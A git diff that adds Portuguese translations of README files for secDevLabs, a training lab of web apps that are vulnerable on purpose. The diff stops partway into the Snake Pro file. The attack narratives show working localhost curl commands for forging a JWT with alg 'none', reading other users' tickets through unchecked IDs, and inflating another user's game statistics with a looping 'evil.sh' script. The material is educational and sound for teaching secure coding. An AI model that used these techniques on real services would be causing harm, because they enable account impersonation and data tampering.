diff --git a/README.md b/README.md
index 3204409c6..9515fe0af 100644
--- a/README.md
+++ b/README.md
@@ -8,8 +8,9 @@ A laboratory for learning secure web and mobile development in a practical manne
-
-
+
+
+
## Build your lab
diff --git a/README_PT_BR.md b/README_PT_BR.md
new file mode 100644
index 000000000..1eee0731d
--- /dev/null
+++ b/README_PT_BR.md
@@ -0,0 +1,74 @@
+
+ 
+
+
+
+
+Laboratório para aprender desenvolvimento web e mobile seguro de forma prática.
+
+
+
+
+
+
+
+
+## Construa seu ambiente
+
+Ao usar esse laborátorio em um ambiente local via docker-compose, você aprenderá como os riscos de segurança mais críticos, de aplicativos da Web, são explorados. Além de como esses códigos vulneráveis podem ser corrigidos para que as ameaças sejam mitigadas. 👩💻
+
+## Por onde começar?
+
+Depois de dar "forking" neste repositório, você encontrará vários aplicativos propositalmente vulneráveis com base em cenários da vida real em várias linguagens, como Golang, Python e PHP. Um bom começo seria instalar aqueles com os quais você está mais familiarizado. Você pode encontrar instruções para fazer isso em cada um dos aplicativos. 💡
+
+Cada um desses aplicativos tem uma seção `Narrativa de ataque` que descreve como um invasor exploraria a vulnerabilidade correspondente. Antes de procurar a vulnerabilidade ou ler qualquer código, pode ser uma boa ideia seguir as etapas da seção 'Narativa de ataque' para que você possa entender melhor o ataque. 💉
+
+Agora é hora de proteger o aplicativo! Imagine que este é o seu aplicativo e você precisa corrigir as falhas! Sua missão é escrever novos códigos que eliminem as falhas encontradas e enviar um novo Pull Request para implantar um aplicativo seguro! 🔐
+
+## Quão seguro é o meu novo código?
+
+Depois de corrigir uma vulnerabilidade, você pode enviar um Pull Request para solicitar gentilmente à comunidade secDevLabs que revise seus novos códigos seguros. Se você está se sentindo um pouco perdido, tente dar uma olhada nas soluções já enviadas, pode ser que elas o ajudem! 🚀
+
+## OWASP Top 10 (2021) Apps: 💻
+
+Isenção de responsabilidade: você está prestes a instalar aplicativos vulneráveis em sua máquina! 🔥
+
+| Vulnerabilidade | Linguagem | App |
+| ----------------------------------------------------| -------------- | ------------------------------------------------------------------------------ |
+| A1 - Quebra de controle de acesso | Golang | [Vulnerable Ecommerce API](owasp-top10-2021-apps/a1/ecommerce-api) |
+| A1 - Quebra de controle de acesso | NodeJS | [Tic-Tac-Toe](owasp-top10-2021-apps/a1/tictactoe) |
+| A1 - Quebra de controle de acesso | Golang | [Camplake-API](owasp-top10-2021-apps/a1/camplake-api) |
+| A2 - Falhas criptográficas. | Golang | [SnakePro](owasp-top10-2021-apps/a2/snake-pro) |
+| A3 - Injeção | Golang | [CopyNPaste API](owasp-top10-2021-apps/a3/copy-n-paste) |
+| A3 - Injeção | NodeJS | [Mongection](owasp-top10-2021-apps/a3/mongection) |
+| A3 - Injeção | Python | [SSType](owasp-top10-2021-apps/a3/sstype) |
+| A3 - Injeção (XSS) | Python | [Gossip World](owasp-top10-2021-apps/a3/gossip-world) |
+| A3 - Injeção (XSS) | React | [Comment Killer](owasp-top10-2021-apps/a3/comment-killer) |
+| A3 - Injeção (XSS) | Angular/Spring | [Streaming](owasp-top10-2021-apps/a3/streaming) |
+| A5 - Configuração Insegura (XXE) | PHP | [ViniJr Blog](owasp-top10-2021-apps/a5/vinijr-blog) |
+| A5 - Configuração Insegura | PHP | [Vulnerable Wordpress Misconfig](owasp-top10-2021-apps/a5/misconfig-wordpress) |
+| A5 - Configuração Insegura | NodeJS | [Stegonography](owasp-top10-2021-apps/a5/stegonography) |
+| A6 - Componentes desatualizados e vulneráveis | PHP | [Cimentech](owasp-top10-2021-apps/a6/cimentech) |
+| A6 - Componentes desatualizados e vulneráveis | Python | [Golden Hat Society](owasp-top10-2021-apps/a6/golden-hat) |
+| A7 - Falha de Identidade e Autenticação | Python | [Saidajaula Monster Fit](owasp-top10-2021-apps/a7/saidajaula-monster) |
+| A7 - Falha de Identidade e Autenticação | Golang | [Insecure go project](owasp-top10-2021-apps/a7/insecure-go-project) |
+| A8 - Falha na Integridade de Dados e Software | Python | [Amarelo Designs](owasp-top10-2021-apps/a8/amarelo-designs) |
+| A9 - Monitoramento de Falhas e Logs de Segurança| Python | [GamesIrados.com](owasp-top10-2021-apps/a9/games-irados) |
+
+## OWASP Top 10 (2016) Mobile Apps: 📲
+
+Isenção de responsabilidade: você está prestes a instalar aplicativos vulneráveis em sua máquina! 🔥
+
+| Vulnerabilidade | Linguagem | App |
+| ---------------------------------------- | ------------ | --------------------------------------------------- |
+| M2 - Armazenamento de dados inseguro | Dart/Flutter | [Cool Games](owasp-top10-2016-mobile/m2/cool_games) |
+| M4 - Autenticação insegura | Dart/Flutter | [Note Box](owasp-top10-2016-mobile/m4/note-box) |
+| M5 - Criptografia insuficiente | Dart/Flutter | [Panda Zap](owasp-top10-2016-mobile/m5/panda_zap) |
+
+## Contribuindo
+
+Nós encorajamos você a contribuir com o SecDevLabs! Consulte a seção [Contribuindo para o SecDevLabs](/docs/CONTRIBUTING.md) para obter orientações sobre como contribuir! 🎉
+
+## Licença
+
+Este projeto está licenciado sob a Licença BSD 3-Clause 'Nova' ou 'Revisada' - leia o arquivo LICENSE.md para obter detalhes. 📖
diff --git a/owasp-top10-2021-apps/a1/camplake-api/README.md b/owasp-top10-2021-apps/a1/camplake-api/README.md
index 5349ae5b8..2ebec9839 100644
--- a/owasp-top10-2021-apps/a1/camplake-api/README.md
+++ b/owasp-top10-2021-apps/a1/camplake-api/README.md
@@ -1,7 +1,8 @@
# Camp Crystal Lake API
- 
+
+
Camp Crystal Lake API is a simple Golang web application that contains an example of a Broken Access Control vulnerability and its main goal is to describe how a malicious user could exploit it.
@@ -113,7 +114,7 @@ How would you mitigate this vulnerability? After your changes, an attacker shoul
## PR solutions
-[Spoiler alert 🚨 ] To understand how this vulnerability can be mitigated, check out [these pull requests]()!
+[Spoiler alert 🚨 ] To understand how this vulnerability can be mitigated, check out [these pull requests](https://github.com/globocom/secDevLabs/labels/Camplake-API)!
## Contributing
@@ -123,4 +124,4 @@ We encourage you to contribute to SecDevLabs! Please check out the [Contributing
[Docker Compose Install]: https://docs.docker.com/compose/install/
[App]: http://localhost:10005
[secDevLabs]: https://github.com/globocom/secDevLabs
-[2]:https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2017-apps/a5/ecommerce-api
\ No newline at end of file
+[2]:https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2017-apps/a5/ecommerce-api
diff --git a/owasp-top10-2021-apps/a1/camplake-api/README_PT_BR.md b/owasp-top10-2021-apps/a1/camplake-api/README_PT_BR.md
new file mode 100644
index 000000000..fe494fd25
--- /dev/null
+++ b/owasp-top10-2021-apps/a1/camplake-api/README_PT_BR.md
@@ -0,0 +1,132 @@
+
+
+# Camp Crystal Lake API
+
+
+
+
+
+
+A API do Camp Crystal Lake é um aplicativo web simples em Golang que contém um exemplo de vulnerabilidade de Quebra de Controle de Acesso e seu principal objetivo é descrever como um usuário mal-intencionado pode explorá-lo.
+
+## Index
+
+- [Definição](#o-que-é-quebra-de-controle-de-acesso)
+- [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+- [Narrativa de ataque](#narrativa-de-ataque)
+- [Objetivos](#proteger-este-aplicativo)
+- [Soluções](#pr-soluções)
+- [Contribuição](#contribuição)
+
+## O que é quebra de controle de acesso?
+
+O controle de acesso impõe a política de forma que os usuários não possam agir fora de suas permissões pretendidas. As falhas geralmente levam à divulgação, modificação ou destruição de informações não autorizada dos dados ou à execução de uma função fora dos limites de acesso do usuário.
+
+Os invasores podem explorar essas falhas para acessar funcionalidades e/ou dados não autorizados, como acesso a contas de outros usuários, visualizar arquivos confidenciais, modificar dados de outros usuários, alterar direitos de acesso, etc.
+
+O principal objetivo deste aplicativo é discutir como as vulnerabilidades da **Quebra de Controle de Acesso** podem ser exploradas e incentivar os desenvolvedores a enviar Pull Requests ao **SecDevLabs** apresentando como eles corrigiriam essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a1/camp-lake-api
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:20001][App] ! 😆
+
+## Conheça o app 💵
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir esse passo a passo:
+
+- Registrar um usuário;
+- Realizar um login;
+- Criar um novo post.
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### A validação incorreta do JWT, permite que usuários mal-intencionados criem tokens falsos e abusem da não validação do JWT. Um exemplo da não validação do JWT é não validar o algoritmo de assinatura usado.
+
+Para entender melhor como a API funciona, criaremos um novo usuário.
+
+Para este exemplo, criamos o usuário com as seguintes credenciais de login - `campLakeAdmin:campLake2021`
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"username":"campLakeAdmin","password":"campLake2021"}' http://localhost:20001/register
+```
+
+
+ 
+
+
+Com o usuário criado, faremos login no aplicativo com suas credenciais para obter o token JWT. Por se tratar de um aplicativo de teste, o token JWT é devolvido ao usuário assim que ele efetua o login.
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"username":"campLakeAdmin","password":"campLake2021"}' http://localhost:20001/login
+```
+
+
+ 
+
+
+
+ 
+
+
+De posse do token JWT, podemos criar um novo post na API, fazendo uma requisição POST diretamente para a rota autenticada `newPost`.
+
+```sh
+curl -s -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhbXBMYWtlQWRtaW4iLCJleHAiOjE2MzMzODI5MzR9.aW4BTVuXaozSbF6EAJfRNsApRA_1hfk2OhaLAo250Uo' -d '{"title": "New member ", "post": "Today a new member ..."}' http://localhost:20001/newpost
+```
+
+
+ 
+
+
+### 🔥
+
+Porém, a API não verifica a assinatura utilizada pelo token JWT, qualquer usuário malicioso pode criar um token falso, conforme mostra a imagem:
+
+
+ 
+
+
+```sh
+curl -s -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6Imphc29uVm9vcmhlc3MiLCJleHAiOjE2MzMzODM1ODZ9.' -d '{"title": "New member ", "post": "Today a new member ..."}' http://localhost:20001/newpost
+```
+
+
+ 
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+* Usar tokens falsos sem uma assinatura válida.
+* Alterar outros usuários por meio da manipulação do JWT.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/labels/Camplake-API)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição! 🎉 🎉
+
+
+[Docker Install]: https://docs.docker.com/install/
+[Docker Compose Install]: https://docs.docker.com/compose/install/
+[App]: http://localhost:10005
+[secDevLabs]: https://github.com/globocom/secDevLabs
+[2]:https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2017-apps/a5/ecommerce-api
diff --git a/owasp-top10-2021-apps/a1/ecommerce-api/README.md b/owasp-top10-2021-apps/a1/ecommerce-api/README.md
index 76fc0655b..7b216fd40 100644
--- a/owasp-top10-2021-apps/a1/ecommerce-api/README.md
+++ b/owasp-top10-2021-apps/a1/ecommerce-api/README.md
@@ -1,19 +1,26 @@
# Vulnerable eCommerce API
- 
+
+
Vulnerable eCommerce API is a simple Golang web application that contains an example of a Broken Access Control vulnerability and its main goal is to describe how a malicious user could exploit it.
## Index
-- [Definition](#what-is-broken-access-control)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [Vulnerable eCommerce API](#vulnerable-ecommerce-api)
+ - [Index](#index)
+ - [What is Broken Access Control?](#what-is-broken-access-control)
+ - [Setup](#setup)
+ - [Get to know the app 💵](#get-to-know-the-app-)
+ - [Attack narrative](#attack-narrative)
+ - [👀](#)
+ - [Lack of userID validation allows for an attacker to get other users' tickets](#lack-of-userid-validation-allows-for-an-attacker-to-get-other-users-tickets)
+ - [🔥](#-1)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Broken Access Control?
diff --git a/owasp-top10-2021-apps/a1/ecommerce-api/README_PT_BR.md b/owasp-top10-2021-apps/a1/ecommerce-api/README_PT_BR.md
new file mode 100644
index 000000000..4bbc7eab0
--- /dev/null
+++ b/owasp-top10-2021-apps/a1/ecommerce-api/README_PT_BR.md
@@ -0,0 +1,131 @@
+# Vulnerable eCommerce API
+
+
+
+
+
+
+A API do Vulnerable eCommerce é um aplicativo web simples de Golang que contém um exemplo de vulnerabilidade de controle de acesso quebrado e seu principal objetivo é descrever como um usuário mal-intencionado pode explorá-lo.
+
+## Index
+
+ - [Vulnerable eCommerce API](#vulnerable-ecommerce-api)
+ - [Index](#index)
+ - [O que é quebra de controle de acesso?](#o-que-é-quebra-de-controle-de-acesso)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 💵](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é quebra de controle de acesso?
+
+As restrições sobre o que os usuários autenticados podem fazer geralmente não são aplicadas corretamente.
+
+Os invasores podem explorar essas falhas para acessar funcionalidades e/ou dados não autorizados, como acessar a contas de outros usuários, visualizar arquivos confidenciais, modificar dados de outros usuários, alterar direitos de acesso, etc.
+
+O principal objetivo deste aplicativo é discutir como as vulnerabilidades da **Quebra de Controle de Acesso** podem ser exploradas e incentivar os desenvolvedores a enviar Pull Requests ao **SecDevLabs** apresentando como eles corrigiriam essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a1/ecommerce-api
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10005][app] ! 😆
+
+## Conheça o app 💵
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir esse passo a passo:
+
+- Registrar um usuário;
+- Realizar um login.
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### A falta de validação do ID do usuário permite que um invasor obtenha tickets de outros usuários
+
+Para entender melhor como essa API funciona, dois usuários, `user1` e `user2`, foram criados conforme mostrado abaixo:
+
+Usando linha de comando:
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"username":"user1","password":"pass"}' http://localhost:10005/register
+```
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"username":"user2","password":"pass"}' http://localhost:10005/register
+```
+
+
+ 
+
+
+Ou usando a interface web:
+
+
+ 
+
+
+Os usuários criados acima são registrados no MongoDB e podemos obter seu `userID` através dos seguintes comandos curl:
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"username":"user1","password":"pass"}' http://localhost:10005/login
+```
+
+```sh
+curl -s -H "Content-Type: application/json" -d '{"username":"user2","password":"pass"}' http://localhost:10005/login
+```
+
+
+ 
+
+
+Isso também pode ser observado através da interface web. Na interface web é possível verificar que após o preenchimento do formulário de login, são feitas duas requisições à API.
+
+
+ 
+
+
+### 🔥
+
+Tendo ambos `userID`, podemos verificar que a rota "`GET /ticket/:userID`" não verifica se a requisição foi feita pelo mesmo usuário ou por outra pessoa sem a devida permissão, conforme mostra a imagem:
+
+```sh
+curl -vvv http://localhost:10005/ticket/GUID
+```
+
+
+ 
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Acessar os tickets de outros usuários.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Vulnerable+Ecommerce+API%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10005
+[secdevlabs]: https://github.com/globocom/secDevLabs
+[2]: https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2017-apps/a5/ecommerce-api
diff --git a/owasp-top10-2021-apps/a1/tictactoe/README.md b/owasp-top10-2021-apps/a1/tictactoe/README.md
index a47df86cc..58e024c55 100644
--- a/owasp-top10-2021-apps/a1/tictactoe/README.md
+++ b/owasp-top10-2021-apps/a1/tictactoe/README.md
@@ -1,6 +1,7 @@
# Tic-Tac-Toe
-
+
+
Tic-Tac-Toe is a simple Nodejs web application that contains an example of a Broken Access Control vulnerability and its main goal is to describe how a malicious user could exploit it.
diff --git a/owasp-top10-2021-apps/a1/tictactoe/README_PT_BR.md b/owasp-top10-2021-apps/a1/tictactoe/README_PT_BR.md
new file mode 100644
index 000000000..7a61b2670
--- /dev/null
+++ b/owasp-top10-2021-apps/a1/tictactoe/README_PT_BR.md
@@ -0,0 +1,213 @@
+# Tic-Tac-Toe
+
+
+
+
+Tic-Tac-Toe é um aplicativo web simples do Nodejs que contém um exemplo de uma vulnerabilidade de controle de acesso quebrado e seu principal objetivo é descrever como um usuário mal-intencionado pode explorá-lo.
+
+## Index
+
+- [Definição](#o-que-é-quebra-de-controle-de-acesso)
+- [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+- [Narrativa de ataque](#narrativa-de-ataque)
+- [Objetivos](#proteger-este-aplicativo)
+- [Soluções](#pr-soluções)
+- [Contribuição](#contribuição)
+
+## O que é quebra de controle de acesso?
+
+As restrições sobre o que os usuários autenticados podem fazer geralmente não são aplicadas corretamente.
+
+Os invasores podem explorar essas falhas para acessar funcionalidades e/ou dados não autorizados, como acessar a contas de outros usuários, visualizar arquivos confidenciais, modificar dados de outros usuários, alterar direitos de acesso, etc.
+
+O principal objetivo deste aplicativo é discutir como as vulnerabilidades do **Quebra de Controle de Acesso** podem ser exploradas e incentivar os desenvolvedores a enviar solicitações pull no **SecDevLabs** sobre como eles corrigiriam essas falhas.
+
+## Setup
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+
+cd secDevLabs/owasp-top10-2021-apps/a1/tictactoe
+
+```
+
+```sh
+
+make install
+
+```
+
+Depois é só visitar [http://localhost.:10005][app] ! 😆
+
+## Conheça o app 🕹
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir esse passo a passo:
+
+- Registrar um usuário;
+- Realizar um login;
+- Jogue o jogo;
+- Veja as estatística.
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+#### A falta de validação de cookies do usuário permite que um invasor obtenha estatísticas de jogos de outros usuários.
+
+### 👀
+
+Para entender melhor como a aplicação trata seus dados, dois usuários, `user1` e `user2`, podem ser criados usando a interface web visitando [http://locahost.:10005/create](http://localhost :.10005/create) conforme exemplificado abaixo:
+
+
+
+Após fazer login como `user1` e jogar algumas vezes, suas estatísticas podem ser verificadas visitando [http://localhost.:10005/statistics](http://localhost.:10005/statistics), conforme o seguinte imagem mostra:
+
+
+
+Para verificar como essas informações estão sendo recuperadas do servidor, um invasor pode usar as Ferramentas do desenvolvedor do Firefox usando `Ctrl + Shift + E` ou `Command + Option + E` em um Mac, conforme mostrado abaixo:
+
+
+
+Você pode replicar este GET usando o seguinte comando curl (use seu próprio token `tictacsession`):
+
+```sh
+curl -s 'GET' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDcyODg2LCJleHAiOjE1NjM0NzY0ODZ9.ESLVZ9bbfUbUdFBFRCzxGTPICuaEWdGLxrvWykEmhNk' 'http://localhost.:10005/statistics/data?user=user1'
+```
+
+```json
+{
+ "chartData": [
+ { "y": 46.15384615384615, "label": "Wins" },
+ { "y": 15.384615384615385, "label": "Ties" },
+ { "y": 38.46153846153846, "label": "Loses" }
+ ],
+ "numbers": { "games": 13, "wins": 6, "ties": 2, "loses": 5 }
+}
+```
+
+### 🔥
+
+Como esta solicitação AJAX está sendo feita passando o nome de usuário como parâmetro de URL, pode indicar que somente este parâmetro está sendo utilizado para verificar a permissão para obter os dados. Para verificar isso, usando a mesma `tictacsession`, um invasor pode substituir `user1` por outro usuário conhecido, como `user2` por exemplo:
+
+```sh
+curl -s 'GET' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDcyODg2LCJleHAiOjE1NjM0NzY0ODZ9.ESLVZ9bbfUbUdFBFRCzxGTPICuaEWdGLxrvWykEmhNk' 'http://localhost.:10005/statistics/data?user=user2'
+```
+
+```json
+{
+ "chartData": [
+ { "y": 100, "label": "Wins" },
+ { "y": 0, "label": "Ties" },
+ { "y": 0, "label": "Loses" }
+ ],
+ "numbers": { "games": 1, "wins": 1, "ties": 0, "loses": 0 }
+}
+```
+
+Este fato representa uma vulnerabilidade da `Quebra de controle de acesso`, permitindo que um invasor veja as estatísticas privadas de todos os usuários conhecidos.
+
+#### A falta de validação de cookies do usuário permite que um invasor manipule as estatísticas do usuário
+
+### 👀
+
+Usando a mesma metodologia, um invasor agora pode verificar o que o aplicativo faz quando um jogo termina e tenta armazenar o resultado. Analisando o inspencionar do navegador mais uma vez revela que foi feito um POST para a rota `/game`, como pode ser visto na imagem a seguir:
+
+
+
+Essa solicitação é feita usando dois parâmetros, `user` e `result`, conforme mostrado abaixo:
+
+
+
+Para replicar este POST usando o comando curl (use seu próprio token `tictacsession`), você pode digitar o seguinte comando:
+
+```sh
+curl -s 'POST' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDc5MzIxLCJleHAiOjE1NjM0ODI5MjF9.SRVz09ZebGa875MilaV2bj4tjAdTWA14JTuArnUDOZM' 'http://localhost.:10005/game' --data-binary 'user=user1&result=win'
+```
+
+```json
+OK
+```
+
+### 🔥
+
+Um invasor agora pode verificar se, usando outro nome de usuário nessa solicitação, ele pode modificar as estatísticas de outro usuário. Para isso, o parâmetro `user` é alterado para outro usuário conhecido, como `user2` por exemplo:
+
+```sh
+curl -s 'POST' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDc5MzIxLCJleHAiOjE1NjM0ODI5MjF9.SRVz09ZebGa875MilaV2bj4tjAdTWA14JTuArnUDOZM' 'http://localhost.:10005/game' --data-binary 'user=user2&result=win'
+```
+
+```json
+OK
+```
+
+Imaginando o pior cenário, um invasor poderia criar um script malicioso para enviar essa mesma solicitação quantas vezes pudesse, como pode ser exemplificado abaixo:
+
+```sh
+vi evil.sh
+```
+
+```sh
+#!/bin/sh
+#
+# evil.sh - Add 100 losses to an user!
+
+user="user2"
+num=100
+result="lose"
+tictacsession="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDc5MzIxLCJleHAiOjE1NjM0ODI5MjF9.SRVz09ZebGa875MilaV2bj4tjAdTWA14JTuArnUDOZM"
+
+for i in `seq 1 $num`; do
+ curl -s 'POST' -b "tictacsession=$tictacsession" 'http://localhost.:10005/game' --data-binary "user=$user&result=$result"
+done
+```
+
+E execute:
+
+```sh
+chmod +x evil.sh && ./evil.sh
+```
+
+```sh
+OKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOKOK
+```
+
+Para verificar se esse ataque realmente funcionou, o usuário mal-intencionado pode explorar a vulnerabilidade anterior para verificar as estatísticas do `user2` usando o seguinte comando:
+
+```sh
+curl -s 'GET' -b 'tictacsession=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIxIiwiaWF0IjoxNTYzNDc5MzIxLCJleHAiOjE1NjM0ODI5MjF9.SRVz09ZebGa875MilaV2bj4tjAdTWA14JTuArnUDOZM' 'http://localhost.:10005/statistics/data?user=user2'
+```
+
+```json
+{
+ "chartData": [
+ { "y": 3.6363636363636362, "label": "Wins" },
+ { "y": 2.727272727272727, "label": "Ties" },
+ { "y": 93.63636363636364, "label": "Loses" }
+ ],
+ "numbers": { "games": 110, "wins": 4, "ties": 3, "loses": 103 }
+}
+```
+
+Mais uma vez, este fato representa uma vulnerabilidade da `Quebra de controle de acesso`, permitindo que um invasor modifique as estatísticas privadas de cada usuário conhecido.
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Acessar as estatísticas privadas de outros usuários;
+- Modifique as estatísticas privadas de outros usuários.
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?utf8=%E2%9C%93&q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Tic-Tac-Toe%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost.:10005
+[secdevlabs]: https://github.com/globocom/secDevLabs
+[2]: https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2021-apps/a1/tictactoe
diff --git a/owasp-top10-2021-apps/a2/snake-pro/README.md b/owasp-top10-2021-apps/a2/snake-pro/README.md
index 7522e0344..573d85b5e 100644
--- a/owasp-top10-2021-apps/a2/snake-pro/README.md
+++ b/owasp-top10-2021-apps/a2/snake-pro/README.md
@@ -1,19 +1,23 @@
# Snake Pro
- 
+
+
Snake Pro is a simple Golang Web App that contains an example of a Cryptographic Failure vulnerability, and its main goal is to illustrate how an attacker could explore it.
## Index
-- [Definition](#what-is-cryptographic-failure)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+- [Snake Pro](#snake-pro)
+ - [Index](#index)
+ - [What is Cryptographic Failure?](#what-is-cryptographic-failure)
+ - [Setup](#setup)
+ - [Get to know the app 🐍](#get-to-know-the-app-)
+ - [Attack narrative](#attack-narrative)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Cryptographic Failure?
diff --git a/owasp-top10-2021-apps/a2/snake-pro/README_PT_BR.md b/owasp-top10-2021-apps/a2/snake-pro/README_PT_BR.md
new file mode 100644
index 000000000..2047ecaab
--- /dev/null
+++ b/owasp-top10-2021-apps/a2/snake-pro/README_PT_BR.md
@@ -0,0 +1,124 @@
+# Snake Pro
+
+
+
+
+
+
+O Snake Pro é um Golang Web App simples que contém um exemplo de vulnerabilidade de falha criptográfica e seu principal objetivo é descrever como um usuário mal-intencionado pode explorá-lo.
+
+## Index
+
+- [Snake Pro](#snake-pro)
+ - [Index](#index)
+ - [O que é falha na criptográfia?](#o-que-é-falha-na-criptográfia)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 💵](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é falha na criptográfia?
+
